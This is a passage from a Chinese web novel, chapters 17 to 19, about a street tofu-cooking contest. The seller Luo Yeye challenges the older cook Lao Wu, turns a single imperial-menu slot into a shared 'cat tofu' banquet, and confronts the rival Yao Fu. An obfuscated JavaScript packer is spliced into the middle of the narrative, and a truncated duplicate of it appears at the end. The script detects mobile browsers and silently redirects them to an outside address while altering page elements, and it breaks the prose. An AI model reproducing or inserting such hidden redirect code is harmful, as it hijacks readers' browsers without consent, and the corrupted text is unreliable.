人群里有人笑有人嘁,还有已经响起的叫好声。有小孩捏了一把猫豆腐,追成一串跑着玩。后面跟着老汉赶,不叫乱捏。 “哎呀,这跟彩云一样呀,那叫什么,龙须酥?” 这猫豆腐样式好看,便引了好几个公子小姐也来瞧弄。官差们和李大人也在品鉴,一看都是大清早都没吃饭,凑着饼子稀粥一块吃了。 李大人坐那,恰巧落了满面金光,灰睛暗瞳里都透出些光彩,持箸笑道:“这七彩猫豆腐,色香味俱全,确是一道好菜。各位若无异议……” 李大人话音落下:“便选这道菜为御膳罢。” “慢着。” 就在 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周围人有笑声,有对他这形容感到夸张的嘲笑,老吴倒是面不改色,可那嘴咧得也不咋好看:“没说不好吃啊,不过么,你们也知道,这都是豆腐。豆腐谁都会做。” “罗掌柜,我没别的意思,我就是想问一句。您推着车就来了,东西都现成的。我们这些人呢?连个准备都没有。” 他坦然与罗烨烨凝视,嘴角咧了咧,扯出一个笑来:“你先上了就定你,你遛我们呢?” 夹枪带棒火药出,暗潮汹涌心意疏。 这话明着问罗烨烨,暗里却把在场所有人都拉下水,但更多的人是沉默。这静水之下藏着一股力,底下烧着他话中的火,像一锅将开未开的粥,还需人用锅铲一搅,就暴沸。 忽然有人冷哼一声,单单一句:“谁跟你‘我们’?” 一个卖炊饼的大嫂先翻了白眼:“人家罗掌柜把姚富那个祸害撵走了,你干什么了?你昨儿夜里还蹲巷口吃人家煎豆腐呢,不是白眼狼嘛!” 这句话一落地,人群随即炸开了锅。街坊们七嘴八舌,话头越来越密,有笑他光说不练的,有嘀咕他自己怕也做不出啥的。老吴的脸从红变紫,从紫变酱色,也是百口莫辩: “我说不公平,不公平!她这么干不就内定么?我们乡亲那么多人,把我们放在哪里!” “人家做的好吃,你眼红什么?有本事你也端一盘出来啊。” 旁边一有人接茬,他便立刻双目精光:“我能做啊!谁说我做不出来?” “你可别做了吧!不公平,姚富在的时候公平?”那大嫂叉起腰,“收保护费公平,砸人家摊子公平?人家罗掌柜替你出了气,你倒挑上理了?” 这番大义压在心头,教那桃花掌柜只消伸手,将她的招牌轻轻托出,便是身前滚滚潮水替她汹涌争锋。 老吴脖子上的青筋都暴起来,跟这群街坊说不通,他直接冲着罗烨烨喊:“你不能一点机会都不给人留吧?这不就是姚富做的事么,你内定、你占名额,你扪心自问,自己霉豆腐真有什么特色?煎豆腐炸豆腐炒豆腐,腐乳、臭豆腐。谁家不会做几手豆腐!” “你跟姚富有什么分别!” 罗烨烨正把一板吃好的竹篾用白布缠裹,闻言抬起头,看了他一眼。 她也不说话,就这么静静看着他,像是并不吃这套。那一双大眼现在睁着,倒有些威慑力。 “行。”罗烨烨往旁边扫一眼。 她声音不大。但官差们给她让出条道,动静不小,令街坊们都不再做声,皆看她不疾不徐,真收了竹篾与碗筷,下了几个台阶,往摊车边上一站:“你说你要做什么,你上来做。” 老吴一愣。 “怎么,你怯了?”她弯起眼睛笑。 “你方才不是豪云壮志嘛,那就搁这吧,你现在做。” 罗烨烨往摊车上一靠,抬了下巴示意他上来,仰脸看他。这小姑娘笑着,真是春风解意,一双眼直凝望进人心里,语气也丝毫不松。 “我们比比。” 17. 争艳 老吴就觉得这个小姑娘说话怪挑事的。 然而同时,这股火气烧到他膝盖骨、钻进手臂,令他攥了攥拳。 因为他也老了,年纪愈大,想来今年已四十有三。年轻时也支过摊,颠过勺,也曾在灶台前站到后半夜,就为一锅卤汤熬出那个味。 后来徭役征到头上,一去两年,回来时摊子没了,灶台凉了,连那只铁锅都被隔壁借走再没还过。他也没再拾起来,转而去做了别的生意,贩过布,卖过炭,什么都干,就是不碰烟火。 如今这轻飘飘一句比比,却如惊涛骇浪,拍得他心意难平。 他又松开手,张了口,嗓子眼里先缩了一下:“你擎等着吧,看我咋做。” 接着他回头朝人群里喊了一嗓子:“老王,把坛子拿上来!” “你这是有备而来呀。”街坊怪稀奇地插了一嘴。 只见一个干巴瘦的老汉从人群后面挤出,气喘吁吁,怀里抱着一只黑陶坛子,放在老吴脚边。 老吴揭开坛口的油纸,众人勾着头准备往里落目光呢,不料,一股浓烈气味扑鼻而来—— “哎呦我!呕、哎呀,真臭呀!” 冲天臭气熏得人群乱嚎,拿手巾捂的捂、扇的扇,再定睛一看,坛子里码着一块块黑不溜秋的豆腐,干瘪缩得跟炭似的,看得那个书生直皱脸,正气凌然挺起胸,指着这坛龇牙咧嘴: “谁屙这了?!” 刚叫出来,头巾飞了。书生立马板脸,往老吴脸上瞅一眼,翻了个白,缩起脖子,去捡头巾了。 老吴收回巴掌,把那坛子往案板上一顿,往后撤了个身位,给后面填上缺口的街坊让道。 总有人仰着鼻子真在嗅,往坛里看,还哦一声,一副了然。 “臭豆腐呀。” 是罗烨烨。她凑过来,又闻了闻。其实也不是纯粹的臭,是一种很复杂的香,混着发酵的酸、酒酿的甜,还有一丝若有若无的焦糊味。 可是……咋有点太臭了呢? 她皱起眉,往后站了站,但嘴上没停:“臭豆腐。和霉豆腐、腐乳一样,都是发酵的。只不过用的菌种不同,发酵的时间长短也不一样。霉豆腐发的是白毛,腐乳用的是红曲,臭豆腐呢……” 她指了指坛子里黑乎乎的卤汁:“用的是臭卤。闻着臭,吃着香。它仨广义都叫‘腐乳’。臭豆腐是青腐乳,红腐乳就是咱们常说的那种,而猫豆腐接毛霉的,是白腐乳。” 几个街坊听得一愣一愣,卖炊饼的大嫂伸着脖子问:“你咋啥都知道?” 罗烨烨一扬嘴角:“口福口福,都是缘分。” 从前在她家巷口那家摊子上,臭豆腐炸得是外酥里嫩,浇上蒜汁辣酱,一口下去,咸香麻辣,汤汁在嘴里爆开。 她咽了咽口水,张嘴才没嘶溜出声:“而且这个不用配馒头,也不用配粥。直接当饭吃都行。”她说着,目光落回老吴身上,“你这卤汁熬了多久?” 老吴没抬头,手上动作没停,声音闷闷的。 “……三个月。” 不是哥们,你逗我呢? 罗烨烨也不呲大牙笑了,街坊更是直接喷:“那你还给我们吃啊?三个月,养臭水呢!” 老吴端起盛好的一碗,试图解释:“臭豆腐越腌越好,吃着更香!” “哎呀我不吃!”街坊捂着鼻子直摆手,“你这都臭脚丫子味了,自己敢吃吗你这?至少给做现成了!” 老吴又端给罗烨烨。她这回也不买账了,捏着鼻子溜到后面:“不是我说,知道你用心,你也得查查臭豆腐咋储存呀?带汤的最多放两天,你得沥干了冻起来。” 她摆摆手:“你还是现做吧,我就不享这口福了。” 老吴被噎得面红耳赤,半天说不出话,对着这圈嗤之以鼻的人,咣啷一声把锅铲一撂:“我现给你们做,行了吧!” “行啊!等着吃呢嘛。” 街坊站得远远地,回声呛他。 日头正上,晒得人发昏,有人摇着蒲扇,哎呦哎呦地叫,都等得疲乏了。幸好有个豆腐摊主等不下去,差伙计回家拿了一坛冻豆腐来。还未打开,便绕着一股白雾。 不是热食,是冷气。揭开一铲下去,黑黑白白,冻成块的豆腐还沾着冰碴子,乒铃乓啷倒进大碗里。 有人伸手往坛子肚子上贴了贴,冰镇一敷,立马爽快了。有认识他的卖菜老汉打趣:“老吴,你这不地道啊,有这手艺不早拿出来,藏这么多年?” 老吴笑一声,没接话。他先烧了灶火,把大铁锅用抹布捋了一遍,油一沥,大锅勺一舀一泼嘶啦一声、香味迸溅而出! 哇,油香四溢。 众人有好奇有感叹,罗烨烨倒来了兴致,扭头揶揄角落里那个还坐在地上的姚富:“哎,姚掌柜,你别坐那哭了,哭饿了没?这味我闻着都饿了,可比你家做的豆腐馋多啦。” 老吴都忍不住骂了一句:“他家豆腐是真难吃,你可别说了,一说那臭味就过来了。” 街坊们本来都想笑,可有人开始皱眉:“哎呦,闻见味了。老吴,你这怎么这么臭啊?和姚富比起来,你的更臭吧?” 老吴下意识看向罗烨烨。 罗烨烨愣了,回看他:“你看我干啥?你得做好,你才能让我说呀。大家尝尝好味,不然那么多人看着,你好意思让我说香吗?” “哎呦别笑了别笑了,有啥好笑了!” 街坊里乱哄哄一片,有一个人捂着肚子,哎呦哎呦地叫:“别说了,别叫我笑了!这味被我吸进去了,哎呀真臭!老吴,你抓紧让我尝一口,这太臭了!” 他还往后呼喝:“姚富,你是不是又偷偷泼粪了?你别坐那了,我害怕!” 后面的姚富哭得更大声,边哭边咳嗽,估计也被熏着了。众人闹得喧哗四起,又给他盖下去。罗烨烨笑得蹲下来,一面捂口鼻一面捂肚子。 忽然,她余光自己这片杏粉色的袖角边上,多了一角素白。 罗烨烨偏头。 萧握瑾不知何时也蹲了下来,折扇收在掌心,一手虚掩着口鼻,只露那双桃花眼,正巧对上她目光。 四目相对,对方的眼底先是放大,接着难以抑制,眯了起来,是被她的笑声勾出来的,更是被这满街的荒唐闹的。 罗烨烨嘴角根本压不住,噗嗤一声要笑出声,不料刚一张嘴,那股冲天臭气直往喉咙里钻。 “咳咳咳!” 她赶紧捂住口鼻,眼泪都快呛出来。萧握瑾也没好到哪去,眼尾微微泛红,显然也被熏得不轻。 两人对视一眼,瞧见彼此狼狈的样子,想笑又不敢笑,嘴角绷了又绷,最后还是没绷住,闷闷地笑出声,又同时被臭味呛得赶紧憋回去。 罗烨烨实在受不了了,一把扯过萧握瑾的袖子,往自己脸上捂。那衣料带着淡淡的酒酿香,总算隔开了几分臭味。 她正贪恋那点干净气息,忽然感到手腕被人轻轻一握。萧握瑾另一只手捏着自己的袖角,也凑了过来,把她那片杏粉色的袖口盖在了自己鼻前。 他俩各自捂着对方的袖子,就这么蹲在人群里,一个弯着眼睛,一个憋笑,偶尔咳嗽。 街面上的人一片哎呀乱叫,一片喜感。 只有老吴还勤勤恳恳青着脸,默默无闻做豆腐。 最后终于端上来了。 他脸上也没好脸色了,把碗往桌上一磕:“谁说吃了?来吃!” “我先。” 罗烨烨从地上站起来,把碗端进手。 哎呦,卖相真不错。黑白两掺的臭豆腐,加了花生仁、香葱、香菜,还有辣椒、咸菜粒,这么一搅。 “嗯,”她点点头,“更香啦!” 这回没等街坊笑,她先喝了口汤。之后脸上的表情变了,不是演。 “诶,”她由衷讲道,“真香啊!确实好吃。你做的手艺真不错,不孬啊。你这加的什么汤汁?” 她筷子一叨,一块臭豆腐进嘴。 牙齿一碰,汤汁从豆腐里溅出来,填满了整个口腔。吸饱了汤汁的豆腐,一嚼,里面是软烂的,糯糯的,像一团被卤汁浸透的云。 她没说话,又叨了一块。 那街坊早听得流 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“它的长处呢,是隐隐带着些烧烤的风味,有炭火气,且不容易腻,因为汤清爽。不过这碗也好吃,正好配饼子,重口都是吃着饱腹。”罗烨烨咽下一口。 “更满足,也更幸福。” 老吴,他把这赞美听进耳里。 把这狼吞虎咽的样子,这闹市,也看在眼中。他欣喜,手里冒汗,眼睛舍不得挪开。 已经很多年了。 这臭豆腐,味道确实因人而异。有人觉得香,有人觉得臭,可今日吃在嘴里,没人说不好。 他目光瞟到还在吃的官差,居然还有李大人。走神了一会儿,又突然清醒,立刻看向罗烨烨。 而罗烨烨正埋头吃,恰好接住他目光,便一边嚼一边随口说:“真不错啊,确实好吃。你太溜了吧,要不要考虑去我们醉仙楼当厨子?资金管够。” “是吧萧老板?” 说着,这桃花钗带的小姑娘,伸开胳膊肘往旁边撞。 没撞着。 那白衣公子看她转过来,早站远了,一开扇子挡住下半张脸。罗烨烨看过来,他就挪开目光。 罗烨烨挑眉:“可好吃啦,你不吃?” “过来吃罢!” 老吴看着她伸手,就要去拽他。这两个年轻人,一个追,一个躲,白衣在人群里晃来晃去,桃杏色的影子紧跟着不放,看得好多人都笑了。 还是年轻好呀。 二十多岁的时候,他也曾在灶台前站一整夜,做一碗她爱吃的甜豆腐脑。可再后来,徭役、赋税、谋生,一桩桩一件件压下来,他就再也没有碰过那把勺。 他以为他忘了。 可这会儿,看着罗烨烨手里那碗臭豆腐,颠颠晃晃,来去如风。他忽然觉得,自己手,它真的起了很多皱。 “你说什么?” 老吴一怔。不觉把心里的话说出声了。 罗烨烨不知道什么时候已经跑回来,站在他面前,大眼看着他,微微喘着气:“你不是做得挺好吗,啥叫不上了?” 老吴张了张嘴,一时不知道怎么接。 名额只有一个。就算选上了,回来又能怎样?下一次,下下一次呢?四十多啦,还能干几年?又有什么用,不如把机会留给年轻人。 可这些话堵在嗓子眼,转了一圈,变成一句:“……我累了,太麻烦。” 罗烨烨歪头看他:“真的假的?你别是想把名额让给我们,又不好意思说,才这样骗我。” ……就这么轻飘飘把他心思戳破了。 老吴和她大眼瞪小眼,谁都没说话。最后还是罗烨烨先开了口:“我们卖猫豆腐,不一定只做霉豆腐。” 她转身,朝人群喊了一嗓子:“大家谁有本事?还可以上啊,只限豆腐,最好是豆腐。有做饼的、做米的、做面的也中,因为豆腐可以配着主食吃。” 她呼喝道:“这样大家都能上,全都加到猫豆腐这一道宴里,咱们做个豆腐宴!” 她声音拔高了一点:“中不中?” 18. 百花 这一嗓子落地,人群安静了一瞬。 随即,炸了。 “啥?还能这样?” 那小贩她有点慌,但同时也兴奋,肘旁边的人:“啥意思啊,是都能去吗?御膳名额不是只有一个吗。” 旁边一个摊贩叹口气:“官家只能接送一个吧!” 罗烨烨,她并不急着解释。手头有美味,她选择先叫人群里声音发酵一会,她自己端起碗,又灌了一口。 一大口。手没收住力道,汤汁涌进喉咙,一股咸味冲上舌根、喉腔,令她差点呛出来。眼睛里已经湿润了,不过嗓子眼缩得快,止住了。 臭豆腐入嘴,建议分两种吃法。第一种直接嚼,让牙齿把豆腐搅碎,汤汁泼洒在牙根和舌底,满口都是浓烈的咸香。 她心脏砰砰跳,太阳穴突突地躁动。耳朵里的声音糊一阵,又渐渐响起来。 第二种先狠嗦一口,把汤汁精华全裹进舌苔和喉咙里,之后再嚼那已经软烂的嫩豆腐,更能品出汤汁和豆腐各自的滋味。 当然最香的,是边吃臭豆腐边往里头加菜。配上点腐乳、霉豆腐,蘸着椒盐饼,往嘴里一塞,那真是三魂七魄,齐升天。 吃得爽、喝得爽,玩了爽、睡更爽。呼朋引伴,一起来吃,那更是爽上加爽。 人生意义,就在于此。 “不能全上京又咋了!” 罗烨烨咽下口中食物,皱起了眉:“我给你们全都加到这一道宴里,不就是你们全都上了?” 她抬一只手,高高抬起,在众人烧得愈加旺盛的讨论声中,大喝:“都听我说!” “李大人还在这,你们谁评选上了,就写个配方给我,签个御膳合同,配方仅作为御膳期间使用!所有菜品,由我来做,不会向外人泄露!” “当然,你们也可以选择不加入。谁想上御膳,谁考虑这件事。”忽然罗烨烨,她叹了口气。皱起鼻子,托起额,一副为难的样子,“不过话说回来吧……” “咱们这都是小地方的人,枫城就这么大点地方。御膳选的是啥?选的是名气!” 她摊了手,一脸愁容:“万一人家没听过咱们,连尝都不尝,那咱们不还是白忙活?” “没听过?咋会没听过!” 平地惊雷,罗烨烨眼皮一跳,循声看过去,果见几个小铺老板已经嗐声嗤气地,其中一个摆起手来,一脸不屑: “不就是新起了个名么,给你吆喝吆喝不就行了?猫豆腐是吧,咱们都得叫猫豆腐?” 他猛地一拍把手:“我报了!” 投石问路、落地惊声,众人心中皆是震撼,几个小摊贩先往上看看,那个楼上裁判之人。 只见那道青衣在慢慢揭茶,饮一口,面朝楼下。 她只点头。 这下,人群里嗡地一声全乱套了,有吱哇乱叫的,有人噼里啪啦敲盘算账,也有犹豫,更多的人是兴奋。而老吴站在原地,看着街坊邻里,那卖豆腐的老汉、卖炊饼的大嫂,还有卖菜的小贩,一个个眼睛都发光,争相自报家门。 “我的凉拌豆腐丝呢?加花生仁啊!” “胡辣汤豆腐脑两掺,罗掌柜!” 这下百家争风,百花齐开。问声此起彼伏,像一锅煮沸的粥,冒开了滚滚炊烟:“那我的煎豆腐能上吗?” 那小摊欣喜若狂,朝周围人说:“能上御膳!这谁不想上啊?” 人群如潮水向她涌来,罗烨烨看着他们,轻轻一笑,从怀里掏出一条卷轴。她早有准备,立在摊前,横臂一抖开,上面毛笔墨书,三个大字: 猫豆腐。 她缩了下喉咙:“咱们一个人,不够。两个人吆喝也不够。” “得大家伙儿都帮着吆喝!” 扯着嗓子喊完,她把纸往案板上猛地一拍:“菜名已经报上去了,就叫这个。不管你是霉豆腐、臭豆腐,还是煎豆腐、凉拌豆腐、豆腐脑,只要打着‘猫豆腐’的旗号,都是咱中州大州的豆腐!” “诸位,你们有南湖主城来的、有枫城本地的,我听着口音,也有从北边逃荒过来的吧?” 罗烨烨目光看扫过台下众人,环顾四周:“你们各自有各自的乡亲,各自有各自的门路。大家伙儿帮着吆喝,让各地的亲戚朋友都知道,中州有个‘猫豆腐’,好吃不贵,御膳候选。” 她声音循循善诱,带着点推心置腹的味道:“咱们不能功亏一篑呀,你们说是不是?中不中?” 她闭住眼喊:“中不中!” 有个声音不急不忙冒出来:“没问题。” 罗烨烨睁眼。她其实说完,心里快急死了,真怕冷场,耳边的风声稍微停一点,她就心慌,不过这道声音出来,立马给她吹消火:“猫豆腐是吧?我老家在南湖西郊,我可以帮你吆喝。正好我要回趟老家。” 老吴第一个开了口。陆陆续续目光投向他,见他吸了鼻子,把手从袖子里抽出来,声音拔高,也朝向街坊:“大家伙儿,我看各位也不全是本地的,就在自己家乡都吆喝吆喝。不就是动动嘴皮子的事?” “这有啥难的呀!” 罗烨烨破罐子破摔,率先起势,“那咱们就弄一个了啊!争取一次搞定,不留遗憾,不差那临门一脚,争取让咱们的知名度更广,选上御膳!” 所有人都懂了,猫豆腐提早报上去,剩下菜大家一起上。而这掌柜她愿意让利,是要他们帮她,做大名声。 可这有啥难的? “我报,我报啊!” 人群里有人爆发出大叫,有应他的,七嘴八舌,络绎不绝。罗烨烨掏了掏耳朵,只觉得这声音真是隔靴搔痒,凭空叫她生出火气,不禁拉了脸。 “能不能大声点?能不能大声!好不好!” “好!好啊!” 有新妇扯着嗓子喊:“那掌柜你不得把俺家名列后头呀?俺是张氏凉拌豆腐丝,张二喜,你得写清楚!” “写清楚什么?你上来给我说!” 没想到罗烨烨直接打断她,挥手朝她那一捞,“你先说那么多没啥用,要上你得先上来做菜!” 她喝道:“张二喜上来做菜!” 她喊完这一声,就感觉嗓子有点发哑,有点干,忍不住喉间滚动一下,咽了下口水。她有比半分更多的把握,这人一定会上。 她抬着眼盯着她。 这一下,她忽然感觉后背发汗。余光中,她偷偷地将所有人览一遍,环顾四周,目光扫过那一张张脸。有人皱眉,有人在小声蛐蛐,有人张着嘴,踮脚,抻脖子,往这看,有人来回走动,焦头烂额。 尽收眼底。 她看不清他们眼里是怀疑还是期待,那些呜呜囔囔的声音搅在一起,像一团被揉皱的纸,她读不透。 但她的心跳更快了。 是那种站在悬崖边,风从脚底下往上吹的感觉。她现在确实站在最高台阶上,在她的摊车前,面对这么多人,兴奋、紧张、还有一点想吐。 她咽了口唾沫,脚下挪步,把案板腾出:“……上来吧。” 她一步走上来,是张二喜在走,但是罗烨烨挪步的时候,却感觉她自己的脚步在发虚。 那裙摆扬起,足下飞衣,宛若炊香冉冉生,是一阵春风吹到了众人,迎面,发梢,衣襟。等她往案板前站定,先回头看了一眼人群。 乌泱泱的脑袋,无数双眼睛正盯着她。 罗烨烨开口:“别看了,做你的。” 笃笃笃快刀斩乱麻,浅棕金的老豆腐丝切好,码在白瓷碟里。张二喜又掏出一个小陶罐,揭开盖子,一股芝麻酱的香气漫出来。她舀了两勺,淋在豆腐丝上,再撒上花生碎、黄瓜丝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17516211|203203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、几滴辣椒油。 白、黄、绿、红,煞是好看。 张二喜她叹了口气,直起身,端起那盘凉拌豆腐丝,朝下面腼腆地笑。 两只颧骨腮就红,在她小麦色的脸皮上。她张嘴,夹着嗓唱自己家了吆喝:“俺家的凉拌豆腐丝,是俺婆婆传下来的方子。豆腐是今早现做的,芝麻酱是俺自己磨的,花生碎也是现炸的。” “清爽、利口、豆香浓!配上俺家的秘制酱料,保你吃了一回想二回!” 说完,她把碟子放案上往前一推,前面离得近的凑上来,用手指头捏了一条,丢嘴里尝尝。 人群里有人喊:“咋样啊?” 那人只点头,豆腐丝嚼着,他的眉头微微一动。丝切得不算精细,但胜在豆香新鲜,芝麻酱裹得醇厚,花生碎脆香,黄瓜丝清甜,辣椒油只点了一滴,若有若无地在舌尖上跳。 那个人用手指点点:“可以拌凉皮了。” 官差盛一些送到楼上,众人的目光勾着往上瞅,想看那大人是什么脸色。而就过了一口茶的功夫,侍从附耳过去听了几句,片刻后,便朝楼下高声唱: “张二喜凉拌豆腐丝——通过!” 这一声落下,人群像被捅了的马蜂窝,有人往回跑着去取自家的坛子罐子,有人还不可置信,抓着人乱问: “通过了?真通过了?” “这也行?那我也能上啊!” “俺家是牛大嫂!煎豆腐!” “李二哥!李二哥的胡辣汤豆腐脑两掺!” 有人往后挤,有人往前冲,有妇人扯着嗓子报自家的菜名,有老汉举着扁担往外挥,生怕挡了道。一个小孩被挤得哇哇哭,他娘一把薅起来夹在腋下,嘴上还在喊:“还有我家!我京城有亲戚,给你拉票!” “诶呦我以为你把亲戚送上去呢?你不早说呀!” 笑声从人群里炸开,此起彼伏。 喊声、报名声、叫好声混在一起,把望江楼檐下的灯笼穗子都震得直晃。有人往前挤,有人扯着嗓子报自家的菜名和籍贯,生怕漏了。 罗烨烨站在摊车前面,被这声音淹没了。那些喧嚣像潮水一样涌过来,裹住她,把她托起来,又慢慢变得模糊。 她忽然觉得有点晕。 有点站不稳的那种晕,还有脑子里嗡嗡的,像有人在里面放了一串鞭炮,炸完了,只剩下一片白茫茫的余响。 她应该笑的。事实上她的嘴角确实翘着,但她感觉不到自己在笑。 她只感觉到自己的心跳。一下,一下,很沉,很稳,黏黏地贴在胸腔里,不紧不慢。 日头正盛,照在她头顶。汗水从额头上滑下来,沿着鼻梁旁边淌过,她没有擦。 成功了。 她手心全是汗,捏着衣摆,指节发酸,抿起唇,深吸了一口气。 但是,还没结束呢。 “罗掌柜,你整得不错啊。” 老吴不知道什么时候,走到她旁边。他睁着眼,眼睛干涩得很,像是瞪了很久没眨,眼白上几道红丝。嘴唇动了动,像是再要说什么。 酸的、甜的、辣的。人声鼎沸之中,轮流上的菜飘香四溢,钻进鼻腔喉咙里,全堵在嗓子眼,就等一个出口。 他喉喉结上下一滚动,手往衣兜里摸了,边缓慢往她这走,声音有些哑:“我这里有些盘缠,你回头走到路上……” 罗烨烨就光点了点头,送出一声鼻息。她撑着膝盖,抬起眼,面朝人群,遥遥望到人潮之外,那片空地上,还坐着的那位。 太阳底下,他是失败者,像一斗晒烂了的麦子。瘫在摊车的断木残辙边上,还在埋头哽咽。 她快速喘了两口气,在旁人都没发觉的时候直起身,仿若无事发生。 “把姚富给我揪起来!”罗烨烨信手一指。 19. 余味 姚富本就痛苦绝望,眼见两个官差把他从地上拎起来,更是既惊恐又畏惧。 他两脚剧烈蹬地,鞋子底刮擦地上的沙石,发出粗砺的声响,像一头被薅起来要宰的猪,眼泪鼻涕糊了一脸,他也不擦,就那么仰着脸朝罗烨烨喊:“你们砸都砸了,怎么还不放过我?我交钱!我交钱行了吧!” 罗烨烨站在摊车后面,就看着他。桃花簪子在日头底下晃了一下,她的脸上没什么表情。 姚富见她不动,更慌了。他开始往后蹭,两条腿在地上乱蹬,把身前的碎瓦罐蹬得哗啦啦响:“你们别抓我!我没害人,那些事不是我一个人干的!” “你早干啥了?”罗烨烨终于开口。 她往前走了两步,阳光照在她脸上,她眯了眯眼:“姚富,我问你。你承不承认,当初你把全街的豆腐都买下来,不让我们醉仙楼买?” 姚富嘴巴张了张,没出声。 “你承不承认,前几天说醉仙楼有人食物中毒,吃的其实是你家的腐乳,不是我家的糕点?”罗烨烨步步紧逼。 “你承不承认,”她的声音低下去,但每个字都砸在地上,“现在醉仙楼之前的人员遭受牢狱之灾,王小姐如今不见人影,失踪不知道哪去了,这些都和你有关系!” “姓王的我根本不认识!” 姚富突然吼出来,他整个人弹了一下,眼睛瞪得溜圆:“那个女罗刹我根本就没见过!她失踪跟我有什么关系?你别什么屎盆子都往我头上扣!” 罗烨烨厉声反驳他:“要不是你当初陷害我们,王小姐会至于失踪吗!” “你现在不承认王小姐的事,”罗烨烨一字一句,居高临下地看着他,“那前面的呢?前面你是不是都干过?是不是!” 姚富的眼神开始躲闪,不说话了。 “而且你不止对我们这么干吧?” 她冷哼一声,“我已经问过街坊了,每次来了新的豆腐摊点,你都这么干,你自己好好想想,你现在的境地到底是我们造成的,还是你自食恶果?” 姚富的嘴唇在哆嗦,嗓子眼里发出呜呜咽咽的声音,又开始低下头,把脸捂住。 “你现在还坐着哭!” 罗烨烨呵斥他,“你在这撒泼打滚,觉得好像别人害了你,觉得自己好像很委屈,你到底想干什么?你想不想改变?” 罗烨烨吼了一声:“姚富起来!” 没有人说话,姚富也没动,他还在哭,呜呜泱泱的,像一口煮不开的锅。鼻涕流到嘴巴里,他也不擦,就那么缩在地上,整个人团成一团。 罗烨烨看了他两息,弯腰伸手去拽他。 不料姚富却立刻应激,在地上蛄蛹。他越蛄蛹,罗烨烨越拽不动,这人沉得还剌手,她扯得手臂都发酸,姚富还是在地上,一边蛄蛹一边喊:“你们抓我好了!你们抓我好了!我现在就进大狱!现在就进大狱!” “谁让你进大狱了?谁说让你进?” 她的胸口在起伏,每个字都从嘴里喷出来,最后真是没招了,松开手,站直了。 她气喘吁吁,面朝人群。街坊们已经围了一大圈,有人在交头接耳,有人在叹气,有人抱着胳膊看热闹。 街坊里有人小声道:“罗掌柜,你别管他了。姚家招牌,你就让它倒吧,倒吧。难不成还要维护它呀?” 那声音很细,但罗烨烨听得清清楚楚。 她现在耳清目明。太阳穴附近的神经砰砰跳,非常紧绷。她闭了闭眼,深吸一口气。 “不是说要比赛么。” 她睁开眼,声音稳下来:“姚富先把腐乳的招牌给砸了。而霉豆腐、臭豆腐都是腐乳的一种。咱们红腐乳本做好了,本身也好吃。它也是一个强劲的竞争力。” 她面向群众,声音拔高:“想必大家以往都有吃到过姚家豆腐,哦,被迫吃到过。大家对腐乳的印象是什么?我先说,他家的腐乳,是不是苦?是不是涩,是不是有点像沙子?” 她又问一遍:“是不是难吃?” 这一句落下,没有人说二话,无人有异议。 “确实难吃。”有人在人群里接了一句,“真是非常难吃。” “做的你说是腐乳吧,看着像一滩。自从加了红曲,看着好看了,吃着更诡异了。”另一个人道,“像那种外表鲜红的毒蘑菇,看着好看,吃到嘴里都知道有毒。” “是难吃。”有摊贩扬声问,“那你想咋样?掌柜,你想把他加进来吗?” 罗烨烨看了那摊贩一眼。 “我需要姚氏的钱。” 她说得非常直接,反而没有半点拐弯抹角:“我就直说了。咱们去御膳,要准备的食材,要准备的东西,都需要一笔大钱。姚富如果能填上这笔,将功赎罪,可以不入狱。” 姚富还搁地上抽抽,但哭声小下去了。 “另外,我今日——” 罗烨烨转身,手指头指那个摊子上零零碎碎的红花豆腐,“我现在要用你的这堆东西,做红腐乳。” “我做霉豆腐,我做腐乳。我不可能让别人一直以为,红腐乳不好吃。” 罗烨烨手心发麻,手臂又酸又抽疼,有一种筋骨在抽她的感觉。手在抖,又有点发累。旁边姚富还坐在地上不回话,埋着头搁那抽抽,一抽她就烦,心烦意乱,火气就上来了。 她直接转身,也不等他回应:“姚氏家丁,抓紧给我上食材。我需要你们的原料豆腐、各种底料香料。我现在只改动你们酱料配方,你们豆腐问题不是出在发酵,而是出在酱料。” “说比就是比,你们都给我露一手了,我还没出手呢。姚富起一边子,让我来。” 她一边收拾摊子上的东西,一边拿抹布抹铁锅内壁,又将灶台擦了一遍,抽好刀。诸位看客陆续围过来,往这边走,绕了一圈。她见人站好了,便扬声宣布。 “我也让大伙尝尝,真正的玫瑰腐乳。” 这一声落地,便是激荡万心,也是没有人吭声,落到地上真真切切,让大家听见,也都不自觉地屏气凝神,盯着她的摊。 人群里有人喊了一声好,但还没落定,一个声音从旁边冒出来: “……我有个事,我想问。” 是姚家的一个胖家丁。正给她上食材,她抬眼看着罗烨烨,提高了声问她,叫周围都听见了:“当时小厮去了你们后院泼粪吧?泼过了,怎么样也得沾上一点。为什么你们的霉,还能发好呢?” 当时到底发生啥呢? 罗烨烨没回答,接过那盆滚过白酒的豆腐,放案上。 天边的云正在慢慢卷过来,太阳从头顶滑向西边,光线从白变成金,又从金变成暗红。 白云苍狗,回到昨夜。 人群的欢呼像潮水一样涌上来,又像潮水一样退下去。 醉仙楼巷口的热闹渐渐散了,街坊们三三两两往回走,嘴里唠着煎豆腐之类话,夜色坠得愈沉,把整条街染成虚无一片。 罗烨烨站在摊车后面,看着人群散去,忽然觉得腿有点软。 她往后退了两步,靠在墙根上,闭了闭眼。太阳穴突突地跳,耳边还嗡嗡响着方才官差的吵嚷声,像有回音在脑子里打转。 “你何必这般忙碌。” 声音从旁边飘过来,带着点懒洋洋的调子。罗烨烨睁开眼,斜睨过去。 萧握瑾从她身侧走来,手里折扇没打开,只是握着,掸他袖上的灰。他方回返,白衣上沾了些渍迹,罗烨烨没看清颜色,便被他目光吸引。 这人倒不甚在意身上风尘,只看着她,眉梢微微挑着。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 